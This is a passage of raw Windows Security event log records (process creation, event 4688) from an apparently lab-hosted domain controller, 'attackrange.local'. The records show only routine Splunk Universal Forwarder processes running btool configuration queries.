a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254001 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x104c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254000 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x104c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10ec - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254008 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1070 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12f0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServer --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254007 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x910 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list httpServer --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:53:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254006 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x910 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10ec - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list httpServer --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254023 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xc9c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254022 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc9c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xc04 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254021 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x9f0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254020 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9f0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254019 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x830 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254018 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd20 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254017 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb34 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd20 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254016 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd20 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254015 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1334 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254014 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x578 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12bc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServerListener: --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254013 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x129c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list httpServerListener: --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254012 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10ec - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254011 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x7ac - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254010 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1150 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254009 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1150 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10ec - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:54:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254033 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x100c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1008 - 